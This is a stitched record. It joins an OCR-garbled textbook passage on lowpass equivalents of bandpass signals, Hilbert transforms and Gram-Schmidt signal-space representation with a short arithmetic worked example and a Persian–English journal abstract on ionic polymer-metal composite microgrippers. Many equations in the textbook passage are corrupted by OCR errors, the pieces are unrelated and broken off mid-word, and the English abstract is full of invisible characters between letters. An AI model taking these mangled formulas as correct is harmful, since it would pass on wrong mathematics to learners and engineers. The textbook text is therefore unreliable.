f)\n\n(2.1-2)\n\nwhich means that knowledge of X+(f) is sufficient to reconstruct X(f).\n\n2.1-2 Lowpass Equivalent of Bandpass Signals\n\nWe start by defining the analytic signal, or the pre-envelope, corresponding to x(t) as the signal x+(t) whose Fourier transform is X+(f). This signal contains only positive frequency components, and its spectrum is not Hermitian. Therefore, in general, x+(t) is a complex signal. We have\n\nx+(t) = @-l [X+(f)] = c\\$-l [X(f)U-l(f)] = x(t) * (\n\nO(t) + j\n\n) 2 21ft 1 j_ = -x(t) + -x(t) 2 2\n\n(2.1-3)\n\n22\n\nDigital Communications\n\nFIGURE 2.1-3 The spectrum of the lowpass equivalent of the signal shown in Figure 2.1-2.\n\nX/(f) = 2x+(f + fo)\n\n... \". '\" '\"\n\nf\n\nwhere x(t) == ;t * x(t) is the Hilbert transform of x(t). The Hilbert transform of x(t) is obtained by introducing a phase shift of -\n\nat positive frequency components of x(t) and\n\nat negative frequencies. In the frequency domain we have\n\nc\\$[x(t)] == - jsgn(f)X(f)\n\n(2.1-4)\n\nSome of the properties of the Hilbert transform will be covered in the problems at the end of this chapter. Now we define xz(t), the lowpass equivalent, or the complex envelope, of x(t), as the signal whose spectrum is given by 2X+(f + fa), i.e.,\n\nXz(f) == 2X+(f + fa) == 2X(f + fO)U-l (f + fa)\n\n(2.1-5)\n\nObviously the spectrum of xz(t) is located around the zero frequency, and therefore it is in general a complex lowpass signal. This signal is called the lowpass equivalent or the complex envelope of x(t). The spectrum of the lowpass equivalent of the signal shown in Figure 2.1-2 is shown in Figure 2.1-3. Applying the modulation theorem of the Fourier transform, we obtain xz(t) == c\\$-l [Xz(f)] == 2x+(t)e- j2n: fot == (x(t) + jx(t))e- j2n: fot == (x(t) cos 2n fat + x(t) sin 2n fat) + j(x(t) cos 2nfot - x(t) sin 2nfot)\n\n(2.1-6)\n\n(2.1-7)\n\nFrom Equation 2.1-6 we can write x(t) == Re [xz(t)e j2 n: fo t]\n\n(2.1-8)\n\nThis relation expresses any bandpass signals in terms of its lowpass equivalent. Using Equations 2.1-2 and 2.1-5, we can write\n\nX(f) ==\n\n[Xz(f - fa) + Xl(- f - fa)]\n\n(2.1-9)\n\nEquations 2.1-8, 2.1-9, 2.1-5, and 2.1-7 express x(t) and xz(t) in terms of each other in the time and frequency domains. The real and imaginary parts of xz(t) are called the in-phase component and the quadrature component of x(t), respectively, and are denoted by Xi(t) and xq(t). Both Xi(t) and xq(t) are real-valued lowpass signals, and we have\n\nxz(t) == Xi(t) + jxq(t)\n\n(2.1-10)\n\nChapter Two: Deterministic and Random Signal Analysis\n\n23\n\nComparing Equations 2.1-10 and 2.1-7, we conclude that Xi(t) == x(t) cos 2nfot + x(t) sin 2nfot xq(t) == x(t) cos 2nfot - x(t) sin2nfot Solving Equation 2.1-11 for x(t) and x(t) gives x (t) == Xi (t) cos 2n fot - X q (t) sin 2n fot x(t) == xq(t) cos 2nfot + Xi(t) sin 2nfot Equation 2.1-12 shows that any bandpass signal x(t) can be expressed in terms of two lowpass signals, namely, its in-phase and quadrature components. Equation 2.1-10 expresses xz(t) in terms of its real and complex parts. We can write a similar relation in polar coordinates expressing x(t) in terms of its magnitude and phase. If we define the envelope and phase of x(t), denoted by rx(t) and ex(t), respectively, by\n\n(2.1-11 )\n\n(2.1-12)\n\nrx(t) == xf(t) + x\n\n(t) x (t) ex (t) == arctan q Xi (t)\n\n(2.1-13)\n\n(2.1-14)\n\nwe have\n\nXz(t) == rx(t)ej8xCt) Substituting this result into Equation 2.1-8 gives x(t) == Re [r x (t)e j (2n!ot+8-\\Ct))]\n\n(2.1-15)\n\n(2.1-16)\n\nresulting in\n\nX(t) == rx(t) cos (2nfot + ex(t)) A bandpass signal and its envelope are shown in Figure 2.1-4.\n\n(2.1-17)\n\nI - - - ... ... I ... .... I ...... \", - ; r--- ... , I ... / ... / ... \" , \" , ,,\n\n'n r\n\n\" \\j\n\n\\J \\j\n\nFIGURE 2.1-4 A bandpass signal. The dashed curve denotes the envelope.\n\n24\n\nDigital Communications\n\nIt is important to note that xz(t)-and consequently Xi(t), xq(t), rx(t), and ()x(t)- depends on the choice of the central frequency fa. For a given bandpass signal x(t), different values of fa-as long as X+(f) is nonzero only in the interval [fa - W /2, fo+ W /2], where W /2 < fa-yield different lowpass signals xz(t). Therefore, it makes more sense to define the lowpass equivalent of a bandpass signal with respect to a specific fa. Since in most cases the choice of fa is clear, we usually do not make this distinction. Equations 2.1-12 and 2.1-17 provide two methods for representing a bandpass signal x(t) in terms of two lowpass signals, one in terms of the in-phase and quadrature components and one in terms of the envelope and the phase. The two relations given in Equations 2.1-8 and 2.1-12 that express the bandpass signal in terms of the lowpass component(s) define the modulation process, i.e., the process of going from lowpass to bandpass. The system that implements this process is called a modulator. The structure of a general modulator implementing Equations 2.1-8 and 2.1-12 is shown in Fig- ure 2. 1-5 (a) and (b). In this figure double lines and double blocks indicate complex values and operations. Similarly, Equations 2.1-7 and 2.1-11 represent how Xz (t), or Xi (t) and x q (t), can be obtained from the bandpass signal x(t). This process, i.e., extracting the lowpass signal from the bandpass signal, is called the demodulation process and is shown in Figure 2.1-6(a) and (b). In these block diagrams the block denoted by Q/frepresents a Hilbert transform, i.e., an LTI system with impulse response h(t) == .1.. and transfer nt function H(f) == - jsgn(f).\n\ncos 27T'fot\n\nej27Tfot\n\nXi(t)\n\nx(t)\n\nx/t)\n\nX(t)\n\nX/t)\n\nRe( )\n\n)I\n\nXit)\n\n-sin 27T'fof\n\n(a)\n\n(b)\n\nfo\n\nX/f)\n\n)I Modulator\n\nX(t)\n\n(c)\n\nFIGURE 2.1-5 A complex (a) and real (b) modulator. A general representation for a modulator is shown in (c).\n\nChapter Two: Deterministic and Random Signal Analysis\n\ncos 27T'fot\n\ne - j 27T f o t\n\nxCt)\n\nx(t)\n\nx(t)\n\n7Jf\n\nx(t)\n\n7Jf\n\nj\n\ncos 27T'fot\n\n(a)\n\n(b)\n\nfo\n\nx(t)\n\nx/(t)\n\nDemodulator\n\n(c)\n\nFIGURE 2.1-6 A complex (a) and real (b) demodulator. A general representation for a demodulator is shown in (c).\n\n2.1-3 Energy Considerations\n\nIn this section we study the relation between energy contents of the signals introduced in the preceding pages. The energy of a signal x(t) is defined as Ex = 1: Ix(t)1 2 dt (2.1-18) and by Rayleigh's relation from Table 2.0-1 we can write Ex = 1: Ix(t)1 2 dt = 1: IX(f)1 2 dt (2.1-19) Since there is no overlap between X+(f) and X-(f), we have X+(f)X-(f) == 0, and hence\n\nEx = 1: IX+(f) + X_(f)1 2 df = 1: IX+(f)1 2 df + 1: IX_(f)1 2 df = 21: IX+(f)1 2 df == 2£x+\n\n(2.1-20)\n\n25\n\nxi(t)\n\nxqCt)\n\n26\n\nDigital Communications\n\nOn the other hand,\n\nEx = 2 i: IX+(f)1 2 df == 2 1 00 Xz(f) 2 df -00 2\n\n(2.1-21)\n\n1 == -EXt 2\n\nThis shows that the energy in the lowpass equivalent signal is twice the energy in the bandpass signal. We define the inner product of two signals x(t) and yet) as\n\n(x(t), y(t)) = i: x(t)y*(t) dt = i: X(f)Y*(f) df\n\n(2.1-22)\n\nwhere we have used Parseval's relation from Table 2.0-1. Obviously\n\nEx == (x(t), x(t))\n\n(2.1-23)\n\nIn Problem 2.2 we prove that if x(t) and yet) are two bandpass signals with lowpass equivalents xz(t) and yz(t) with respect to the same fa, then 1 (x(t), yet)) == 2 Re [(xz(t), yz(t))]\n\n(2.1-24)\n\nThe complex quantity PX,Y' called the cross-correlation coefficient of x(t) and yet), is defined as\n\nPx,y ==\n\n(x(t), yet)) y! ExEy\n\n(2.1-25)\n\nand represents the normalized inner product between two signals. From EXt == 2Ex and Equation 2.1-24 we can conclude that if x(t) and yet) are bandpass signals with the same fa, then\n\nPx,y == Re (PXt,Yt)\n\n(2.1-26)\n\nTwo signals are orthogonal if their inner product (and subsequently, their p) is zero. Note that if PXt,Yt == 0, then using Equation 2.1-26, we have Px,y == 0; but the converse is not necessarily true. In other words, orthogonality in the baseband implies orthogonality in the pass band, but not vice versa. EXAMPLE 2.1-1. Assume that met) is a real baseband signal with bandwidth W, and define two signals x(t) == met) cos 21Tfot and yet) == met) sin 21Tfot, where fo > W. Comparing these relations with Equation 2.1-12, we conclude that\n\nXi(t) == met) Yi(t) == 0\n\nXq(t) == 0 Yq(t) == -met)\n\nChapter Two: Deterministic and Random Signal Analysis\n\n27\n\nOf, equivalently,\n\nXl(t) == met) Yl(t) == - jm(t)\n\nNote that here\n\nPx/,y/ = j I: m\\t) = j£m\n\nTherefore,\n\nPx,y == Re (Px/,y) == Re (jE m ) == 0 This means that x(t) and yet) are orthogonal, but their lowpass equivalents are not orthogonal.\n\n2.1-4 Lowpass Equivalent of a Bandpass System\n\nA bandpass system is a system whose transfer function is located around a frequency fa (and its mirror image - fa). More formally, we define a bandpass system as a system whose impulse response h(t) is a bandpass signal. Since h(t) is bandpass, it has a lowpass equivalent denoted by hz(t) where h(t) == Re [hz(t)ej2Jrfot] (2.1-27) If a bandpass signal x(t) passes through a bandpass system with impulse response h(t), then obviously the output will be a bandpass signal yet). The relation between the spectra of the input and the output is given by\n\nY(f) == X(f)H(f)\n\n(2.1-28)\n\nUsing Equation 2.1-5, we have\n\nYz(f) == 2Y(f + fO)U-l (f + fa) == 2X(f + fo)H(f + fO)U-l(f + fa) 1 == 2 [2X(f + fO)U-l(f + fa)] [2H(f + fO)U-l(f + fa)] 1 == 2 Xz(f)Hz(f) (2.1-29) where we have used the fact that for f > - fa, which is the range of frequencies of interest, u=-l (f + fa) == U-I (f + fa) == 1. In the time domain we have 1 yz(t) == 2 xz (t) * hz(t) (2.1-30) Equations 2.1-29 and 2.1-30 show that when a bandpass signal passes through a bandpass system, the input-output relation between the lowpass equivalents is very similar to the relation between the bandpass signals, the only difference being that for the lowpass equivalents a factor of\n\nis introduced.\n\n28\n\nDigItal Communications\n\n2.2 SIGNAL SPACE REPRESENTATION OF WAVEFORMS\n\nSignal space (or vector) representation of signals is a very effective and useful tool in the analysis of digitally modulated signals. We cover this important approach in this section and show that any set of signals is equivalent to a set of vectors. We show that signals have the same basic properties of vectors. We study methods of determining an equivalent set of vectors for a set of signals and introduce the notion of signal space representation, or signal constellation, of a set of waveforms.\n\n2.2-1 Vector Space Concepts\n\nA vector v in an n-dimensional space is characterized by its n components VI V2 . . . V n . Let v denote a column vector, i.e., v == [VI V2 . . . vnf, where At denotes the transpose of matrix A. The inner product of two n-dimensional vectors VI == [VII VI2... vInf and V2 == [V2I V22. . . v2nf is defined as\n\nn (VI, V2) == VI . V2 == L VIi V;i == V\n\nVI i=I\n\n(2.2-1 )\n\nwhere A H denotes the Hermitian transpose of the matrix A, i.e., the result of first transposing the matrix and then conjugating its elements. From the definition of the inner product of two vectors it follows that\n\n(VI, V2) == (V2, VI)*\n\n(2.2-2)\n\nand therefore,\n\n(VI, V2) + (V2, VI) == 2Re [(VI, V2)]\n\n(2.2-3)\n\nA vector may also be represented as a linear combination of orthogonal unit vectors or an orthonormal basis ei, 1 < i < n, i.e.,\n\nn V == L Viei i=I\n\n(2.2-4 )\n\nwhere, by definition, a unit vector has length unity and Vi is the projection of the vector V onto the unit vector e i, i.e., Vi == (V, e i ). Two vectors V I and V2 are orthogonal if (VI, V2) == O. More generally, a set of m vectors Vk, 1 < k < m, are orthogonal if (Vi, V j) == 0 for alII < i, j < m, and i #- j. The norm of a vector V is denoted by II V II and is defined as\n\nn\n\nIIvll == ((v, v))1/2 == L I V il 2 i=I\n\n(2.2- 5)\n\nwhich in the n-dimensional space is simply the length of the vector. A set of m vec- tors is said to be orthonormal if the vectors are orthogonal and each vector has a\n\nChapter Two: Deterministic and Random Signal Analysis\n\n29\n\nunit norm. A set of m vectors is said to be linearly independent if no one vector can be represented as a linear combination of the remaining vectors. Any two n-dimensional vectors VI and V2 satisfy the triangle inequality\n\nIIVI + v211 < IIvIl1 + II v 211\n\n(2.2-6)\n\nwith equality if VI and V2 are in the same direction, i.e., VI = aV2 where a is a positive real scalar. The Cauchy-Schwarz inequality states that\n\nI (VI, V2) I < II VI II . II v 211\n\n(2.2-7)\n\nwith equality if VI = aV2 for some complex scalar a. The norm square of the sum of two vectors may be expressed as\n\nII V I + V 211 2 = II V I 11 2 + II V 211 2 + 2 Re [ ( VI, V 2) ] If V 1 and V2 are orthogonal, then (v I, V2) = 0 and, hence, Ilvi + v211 2 = IIvII1 2 + II v 211 2\n\n(2.2-8)\n\n(2.2-9)\n\nThis is the Pythagorean relation for two orthogonal n-dimensional vectors. From matrix algebra, we recall that a linear transformation in an n-dimensional vector space is a matrix transformation of the form v' = A v, where the matrix A transforms the vector V into some vector v'. In the special case where v' = A v, i.e., Av = AV\n\nwhere A is some scalar, the vector V is called an eigenvector of the transformation and A is the corresponding eigenvalue. Finally, let us review the Gram-Schmidt procedure for constructing a set of or- thonormal vectors from a set of n-dimensional vectors Vi, 1 < i < m. We begin by arbitrarily selecting a vector from the set, say, VI. By normalizing its length, we obtain the first vector, say,\n\nVI UI=- II VIII Next, we may select V2 and, first, subtract the projection of V2 onto U 1. Thus, we obtain\n\n(2.2-10)\n\nU; = V2 - ((V2, UI))UI Then we normalize the vector u; to unit length. This yields\n\n(2.2-11)\n\nU ' U - 2 2 - lIu;1I The procedure continues by selecting V3 and subtracting the projections of V3 into U I and U2. Thus, we have\n\n(2.2-12)\n\nU; = V3 - ((V3, UI))UI - ((V3, U2))U2 Then the orthonormal vector U3 is\n\n(2.2-13)\n\nU\n\nU3 = II u\n\nII\n\n(2.2-14)\n\n30\n\nDigital Communications\n\nBy continuing this procedure, we construct a set of N orthonormal vectors, where N < min(m, n).\n\n2.2-2 Signal Space Concepts\n\nAs in the case of vectors, we may develop a parallel treatment for a set of signals. The inner product of two generally complex-valued signals Xl (t) and X2(t) is denoted by (Xl (t), X2(t)) and defined as (Xl (t), X2(t») = I: Xl (t)x;(t) dt (2.2-15) similar to Equation 2.1-22. The signals are orthogonal if their inner product is zero. The norm of a signal is defined as\n\n(1 00 ) 1/2 IIx(t)11 = -00 Ix(t)1 2 dt = ,;&;\n\n(2.2-16)\n\nwhere Ex is the energy in x(t). A set of m signals is orthonormal if they are orthogonal and their norms are all unity. A set of m signals is linearly independent if no signal can be represented as a linear combination of the remaining signals. The triangle inequality for two signals is simply\n\nIlx1(t) + x2(t)11 < Il x 1(t)11 + II x2(t)11\n\n(2.2-17)\n\nand the Cauchy-Schwarz inequality is I(XI(t),X2(t»)1 < II X I(t)II.ll x 2(t)11 = V£Xl£X2\n\n(2.2-18)\n\nor, equivalently, 1 00 1 00 1/2 1 00 1/2 -00 Xl (t)x;(t) dt < -00 IXI (t)1 2 dt -00 I X 2(t)1 2 dt with equality when X2(t) == ax 1 (t), where a is any complex number.\n\n(2.2-19)\n\n2.2-3 Orthogonal Expansions of Signals\n\nIn this section, we develop a vector representation for signal waveforms, and thus we demonstrate an equivalence between a signal waveform and its vector representation. Suppose that s (t) is a deterministic signal with finite energy\n\n£s = I: Is(t)1 2 dt\n\n(2.2-20)\n\nFurthermore, suppose that there exists a set of functions {CPn (t), n == 1, 2, . . . , K} that are orthonormal in the sense that 1 00 { 1m == n (<Pn (t), <Pm (t)) == <Pn (t )<p\n\n(t) dt == -00 0 m #- n\n\n(2.2-21)\n\nChapter Two: Deterministic and Random Signal Analysis\n\n31\n\nWe may approximate the signal set) by a weighted linear combination of these func- tions, i.e.,\n\nK set) = L SkCPk(t) k=l where {Sk, 1 < k < K} are the coefficients in the approximation of set). The approx- imation error incurred is\n\n(2.2-22)\n\ne(t) = set) - set)\n\nLet us select the coefficients {Sk} so as to minimize the energy £e of the approximation error. Thus,\n\nfe = 1: Is(t) - s(t)1 2 dt K 2 = 1: set) - {; SkcIJk(t) dt\n\n(2.2-23)\n\n(2.2-24)\n\nThe optimum coefficients in the series expansion of s(t) may be found by differentiating Equation 2.2-23 with respect to each of the coefficients {Sk} and setting the first deriva- tives to zero. Alternatively, we may use a well-known result from estimation theory based on the mean square error criterion, which, simply stated, is that the minimum of £e with respect to the {Sk} is obtained when the error is orthogonal to each of the functions in the series expansion. Thus,\n\n1: [set) - 1; SkcIJk(t)] cIJ:(t) dt = 0, Since the functions {CPn (t)} are orthonormal, Equation 2.2-25 reduces to\n\nn = 1, 2, . . . , K\n\n(2.2-25)\n\nSn = (s(t), clJn (t») = 1: s(t)cIJ:(t) dt, Thus, the coefficients are obtained by projecting the signal set) onto each of the functions {CPn(t)}. Consequently, set) is the projection of set) onto the K -dimensional signal space spanned by the functions {CPn (t)}, and therefore it is orthogonal to the error signal e(t) = set) - set), i.e., (e(t), set)) = O. The minimum mean-square approxima- tion error is\n\nn = 1, 2, . . . , K\n\n(2.2-26)\n\nf Illin = 1: e(t)s*(t) dt = 1: Is(t)1 2 dt -1:1; s kcIJk(t)S*(t)dt K = £s - L ISk 1 2 k=l\n\n(2.2-27)\n\n(2.2-28)\n\n(2.2-29)\n\n32\n\nDigital Communications\n\nwhich is nonnegative, by definition. When the minimum mean square approximation error £min = 0,\n\n£s =\n\nIsd = 1: Is(t)1 2 dt Under the condition that £min = 0, we may express set) as\n\n(2.2-30)\n\nK set) = L SkCPk(t) k=l where it is understood that equality of set) to its series expansion holds in the sense that the approximation error has zero energy. When every finite energy signal can be represented by a series expansion of the form in Equation 2.2-31 for which £ll1ln = 0, the set of orthonormal functions {CPn(t)} is said to be complete.\n\n(2.2-31)\n\nEXAMPLE 2.2-1. TRIGONOMETRIC FOURIER SERIES: Consider a finite energy real sig- nal set) that is zero everywhere except in the range 0 < t < T and has a finite number of discontinuities in this interval. Its periodic extension can be represented in a Fourier senes as\n\n( 211: kt 211: kt ) s(t) = f: ak cas + b k sin k=O T T where the coefficients {ak, b k } that minimize the mean square error are given by\n\n(2.2-32)\n\nao =\n\n( s(t)dt T Jo 2 1 T 211: kt ak = - set) cos dt, k = 1, 2, 3, . . . ToT 2 1 T 211: kt b k = - S (t) sin d t , k = 1, 2, 3, . . . ToT The set of functions {I / -IT, ,J2/ T cos 211: kt / T, ,J2/ T sin 211: kt / T} is a complete set for the expansion of periodic signals on the interval [0, T], and, hence, the series expansion results in zero mean square error.\n\n(2.2-33)\n\nE X AMP L E 2.2-2. EXPONENTIAL FOURIER SERIES: Consider a general finite energy sig- nal set) (real or complex) that is zero everywhere except in the range 0 < t < T and has a finite number of discontinuities in this interval. Its periodic extension can be represented in an exponential Fourier series as\n\n00 set) = L X n e j2Jr ift n=-oo\n\n(2.2-34)\n\nwhere the coefficients {xn} that minimize the mean square error are given by 1 1 00 ' 2 11 X n = - x(t)e-} Jrrtdt T -00\n\n(2.2-35)\n\nChapter Two: Deterministic and Random Signal Analysis\n\n33\n\nThe set of functions {-JTJT\" e j2n If t} is a complete set for expansion of periodic signals on the interval [0, T], and, hence, the series expansion results in zero mean square error.\n\n2.2-4 Gram-Schmidt Procedure\n\nNow suppose that we have a set of finite energy signal waveforms {sm(t), m == 1, 2, . . . , M} and we wish to construct a set of orthonormal waveforms. The Gram-Schmidt orthogonalization procedure allows us to construct such a set. This procedure is similar to the one described in Section 2.2-1 for vectors. We begin with the first waveform Sl (t), which is assumed to have energy £1. The first orthonormal waveform is simply constructed as\n\ncp! (t) = j2 Thus, CPl (t) is simply Sl (t) normalized to unit energy. The second waveform is con- structed from S2(t) by first computing the projection of S2(t) onto CPl (t), which is C2! = (S2(t), cp! (t») = 1: S2(t)CPt(t) dt (2.2-37) Then C2l CPl (t) is subtracted from S2(t) to yield\n\n(2.2-36)\n\nY2(t) == S2(t) - C21CPI(t)\n\n(2.2-38)\n\nThis waveform is orthogonal to CPl (t), but it does not have unit energy. If £2 denotes the energy of Y2(t), i.e.,\n\n£2 = 1: y\n\n(t) dt the normalized waveform that is orthogonal to CPI (t) is CP2(t) =\n\nIn general, the orthogonalization of the kth function leads to CPk(t) = jR\n\n(2.2-39)\n\n(2.2-40)\n\nwhere\n\nk-l Yk(t) == Sk(t) - L CkiCPi(t) i=l\n\n(2.2-41 )\n\nCki = (Sk(t), CPi(t») = 1: Sk(t)cp7(t) dt, £k = 1: yl(t) dt\n\ni == 1, 2, . . . , k - 1 (2.2-42)\n\n(2.2-43)\n\n34\n\nDigital Communications\n\nThus, the orthogonalization process is continued until all the M signal waveforms {sm(t)} have been exhausted and N < M orthonormal waveforms have been con- structed. The dimensionality N of the signal space will be equal to M if all the signal waveforms are linearly independent, i.e., none of the signal waveforms is a linear combination of the other signal waveforms. EXAMPLE 2.2-3. Let us apply the Gram-Schmidt procedure to the set of four wave- forms illustrated in Figure 2.2-1. The waveform Sl (t) has energy £1 == 2, so that cp\\ (t) = If s\\ (t) Next we observe that C21 == 0; hence, S2(t) and 4J1 (t) are orthogonal. Therefore, 4J2(t) == S2(t)/...;t; = If S2(t). To obtain CP3(t), we compute C3\\ and C32, which are C3\\ = --Ii and C23 == O. Thus,\n\n{ -I Y3(t) = S3(t) - --licp\\ (t) = 0\n\n2 < t < 3 otherwise\n\nSince Y3(t) has unit energy, it follows that 4J3(t) == Y3(t). Determining 4J4(t), we find that C41 == --J2, C42 == 0, and C43 == 1. Hence, Y 4 (t) == S 4 (t) + --li4J 1 (t) - 4J3 (t) == 0 Consequently, S4(t) is a linear combination of 4J1 (t) and 4J3(t) and, hence, 4J4(t) == O. The three orthonormal functions are illustrated in Figure 2.2-1 (b). Once we have constructed the set of orthonormal waveforms { CPn (t) }, we can express the M signals {sm(t)} as linear combinations of the {CPn(t)}. Thus, we may write\n\nN sm(t) == LSmnCPn(t), n=l\n\nm == 1, 2, . . . , M\n\n(2.2-44)\n\nBased on the expression in Equation 2.2-44, each signal may be represented by the vector\n\nSm == [Sml Sm2 . . . SmN]t\n\n(2.2-45)\n\nor, equivalently, as a point in the N-dimensional (in general, complex) signal space with coordinates {smn, n = 1,2, ..., N}. Therefore, a set of M signals {sm(t)}\n\n=l can be represented by a set of M vectors {s m }\n\n=l in the N -dimensional space, where N < M. The corresponding set of vectors is called the signal space representation, or con- stellation, of {sm (t) }\n\n=1. If the original signals are real, then the corresponding vector representations are in JR N ; and if the signals are complex, then the vector representations are in eN. Figure 2.2-2 demonstrates the process of obtaining the vector equivalent from a signal (signal-to-vector mapping) and vice versa (vecto```" ]

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[ "# Find the value of the expression p^2q^2 + pq - q^3 - p^3 for p = 0.5 and q = -0.5.\n\n## Question:\n\nFind the value of the expression {eq}\\; p^2q^2 + pq - q^3 - p^3 \\; {/eq} for {eq}\\; p = 0.5 \\; {/eq} and {eq}\\; q = -0.5 {/eq}.\n\n## Evaluating Expressions\n\nAny expression can be evaluated for specific values of its variables. This is done by substituting the variables with their values in the expression and then calculating the value of the expression.\n\nWe have to evaluate the given expression for p=0.5 and q=-0.5. We can do this by substituting p and q in the expression with their respective values.\n\n\\begin{align} & p^2q^2 + pq - q^3 - p^3 \\\\ \\Rightarrow &0.5^2*(-0.5)^2 + 0.5*(-0.5) - (-0.5)^3 - 0.5^3 \\\\=&0.25*0.25-0.25-(-0.125)-0.125\\\\ =&0.0625-0.25+0.125-0.125\\\\ =&-0.1875 \\end{align}", null, "" ]

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[ "# طراحی و امکان‌سنجی ساخت میکروگریپر با استفاده از کامپوزیت‌های فلز ـ بسپار یونی (I‌P‌M‌C)\n\nنوع مقاله: پژوهشی\n\nنویسندگان\n\nقطب علمی طراحی، رباتیک و اتوماسیون، دانشگاه صنعتی شریف\n\nچکیده\n\nکامپوزیت‌های فلز − بسپار یونی )I‌P‌M‌C(پانویس{i‌o‌n‌i‌c p‌o‌l‌y‌m‌e‌r-m‌e‌t‌a‌l c‌o‌m‌p‌o‌s‌i‌t‌e} به‌عنوان حس‌گر یا عملگر با نام «حس‌گرـ عملگر نرم» یا «ماهیچه‌ی مصنوعی» نیز شناخته می‌شوند. در سال‌های اخیر درزمینه‌ی ساخت، مدل‌سازی و گسترش کاربردهای این مواد شاهد پیشرفت‌های شایانی بوده‌ایم. همچنین اخیراً سیستم‌های میکروالکترومکانیکی در زمینه‌ی عملگرها و حس‌گرهای هوشمند کاربرد گسترده‌یی یافته است. در تحقیق حاضر با توجه به روش‌های ساخت در مقیاس میکرومتری ایده‌هایی برای طراحی و ساخت میکروگریپر با استفاده از کامپوزیت‌های فلز ـ بسپار یونی ارائه خواهد شد. ابزار مورد نظر کاربردهای بالقوه‌ی متعددی در سیستم‌های میکرورباتیکی و به‌خصوص برای کار در محیط‌های زیست‌شناختی خواهد داشت. همچنین اثرات غالب در مقیاس کاری این ابزار بررسی شده و مدل فرایند گیرایش اجسام برمبنای رفتار الکترومکانیکی گریپر استخراج خواهد شد.\n\nعنوان مقاله [English]\n\n### D‌E‌S‌I‌G‌N A‌N‌D F‌A‌B‌R‌I‌C‌A‌T‌I‌O‌N O‌F I‌O‌N‌I‌C P‌O‌L‌Y‌M‌E‌R-M‌E‌T‌A‌L C‌O‌M‌P‌O‌S‌I‌T‌E‌S (I‌P‌M‌C) M‌I‌C‌R‌O‌G‌R‌I‌P‌P‌E‌R: A F‌E‌A‌S‌I‌B‌I‌L‌I‌T‌Y S‌T‌U‌D‌Y\n\nنویسندگان [English]\n\n• A. M‌e‌g‌h‌d‌a‌r‌i\n• S. H. M‌a‌h‌b‌o‌o‌b‌i\n• M. S‌a‌j‌j‌a‌d‌i\n• H. N‌e‌j‌a‌t P‌i‌s‌h‌k‌e‌n‌a‌r‌i\n• M. Z‌a‌m‌a‌n F‌o‌r‌o‌u‌t‌a‌n\nC‌e‌n‌t‌e‌r o‌f E‌x‌c‌e‌l‌l‌e‌n‌c‌e i‌n D‌e‌s‌i‌g‌n, R‌o‌b‌o‌t‌i‌c‌s, a‌n‌d A‌u‌t‌o‌m‌a‌t‌i‌o‌n (C‌E‌D‌R‌A) D‌e‌p‌t. o‌f M‌e‌c‌h‌a‌n‌i‌c‌a‌l E‌n‌g‌i‌n‌e‌e‌r‌i‌n‌grnS‌h‌a‌r‌i‌f U‌n‌i‌v‌e‌r‌s‌i‌t‌y o‌f T‌e‌c‌h‌n‌o‌l‌o‌g‌y\nچکیده [English]\n\nI‌o‌n‌i‌c p‌o‌l‌y‌m‌e‌r-m‌e‌t‌a‌l c‌o‌m‌p‌o‌s‌i‌t‌e‌s (I‌P‌M‌C‌s) a‌s a‌c‌t‌u‌a‌t‌o‌r‌s a‌n‌d s‌e‌n‌s‌o‌r‌s a‌r‌e s‌o‌m‌e‌t‌i‌m‌e‌s r‌e‌f‌e‌r‌r‌e‌d t‌o a‌s s‌o‌f‌t a‌c‌t‌u‌a‌t‌o‌r‌s-s‌e‌n‌s‌o‌r‌s o‌r a‌r‌t‌i‌f‌i‌c‌i‌a‌l m‌u‌s‌c‌l‌e‌s. R‌e‌c‌e‌n‌t‌l‌y, v‌e‌r‌s‌a‌t‌i‌l‌e d‌e‌v‌e‌l‌o‌p‌m‌e‌n‌t‌s h‌a‌v‌e b‌e‌e‌n f‌u‌l‌f‌i‌l‌l‌e‌d i‌n t‌h‌e f‌i‌e‌l‌d‌s o‌f f‌a‌b‌r‌i‌c‌a‌t‌i‌o‌n, m‌o‌d‌e‌l‌i‌n‌g a‌n‌d a‌p‌p‌l‌i‌c‌a‌t‌i‌o‌n o‌f t‌h‌e a‌f‌o‌r‌e‌m‌e‌n‌t‌i‌o‌n‌e‌d m‌a‌t‌e‌r‌i‌a‌l‌s. I‌n a‌d‌d‌i‌t‌i‌o‌n, t‌h‌e a‌p‌p‌l‌i‌c‌a‌t‌i‌o‌n o‌f m‌i‌c‌r‌o-e‌l‌e‌c‌t‌r‌o-m‌e‌c‌h‌a‌n‌i‌c‌a‌l\ns‌y‌s‌t‌e‌m‌s i‌n s‌e‌n‌s‌o‌r‌s a‌n‌d a‌c‌t‌u‌a‌t‌o‌r‌s i‌s g‌r‌o‌w‌i‌n‌g r‌a‌p‌i‌d‌l‌y. I‌n t‌h‌i‌s r‌e‌s‌e‌a‌r‌c‌h, s‌o‌m‌e i‌d‌e‌a‌s a‌r‌e e‌x‌p‌l‌o‌r‌e‌d a‌n‌d p‌r‌o‌p‌o‌s‌e‌d f‌o‌r t‌h‌e d‌e‌s‌i‌g‌n a‌n‌d f‌a‌b‌r‌i‌c‌a‌t‌i‌o‌n o‌f I‌P‌M‌C m‌i‌c‌r‌o‌g‌r‌i‌p‌p‌e‌r‌s, b‌a‌s‌e‌d o‌n m‌i‌c‌r‌o‌m‌a‌c‌h‌i‌n‌i‌n‌g t‌e‌c‌h‌n‌o‌l‌o‌g‌y. T‌h‌i‌s p‌r‌o‌d‌u‌c‌t m‌a‌y h‌a‌v‌e m‌a‌n‌y p‌o‌t‌e‌n‌t‌i‌a‌l a‌p‌p‌l‌i‌c‌a‌t‌i‌o‌n‌s i‌n m‌i‌c‌r‌o-r‌o‌b‌o‌t‌i‌c‌s t‌e‌c‌h‌n‌o‌l‌o‌g‌y, e‌s‌p‌e‌c‌i‌a‌l‌l‌y f‌o‌r o‌p‌e‌r‌a‌t‌i‌o‌n‌s i‌n b‌i‌o‌l‌o‌g‌i‌c‌a‌l e‌n‌v‌i‌r‌o‌n‌m‌e‌n‌t‌s. F‌i‌n‌a‌l‌l‌y, t‌h‌e g‌r‌i‌p‌p‌i‌n‌g p‌r‌o‌c‌e‌s‌s h‌a‌s b‌e‌e‌n m‌o‌d‌e‌l‌e‌d b‌a‌s‌e‌d o‌n t‌h‌e g‌r‌i‌p‌p‌e‌r e‌l‌e‌c‌t‌r‌o-m‌e‌c‌h‌a‌n‌i‌c‌a‌l b‌e‌h‌a‌v‌i‌o‌r.\n\nکلیدواژه‌ها [English]\n\n• D‌E‌S‌I‌G‌N A‌N‌D F‌A‌B‌R‌I‌C‌A‌T‌I‌O‌N O‌F I‌O‌N‌I‌C 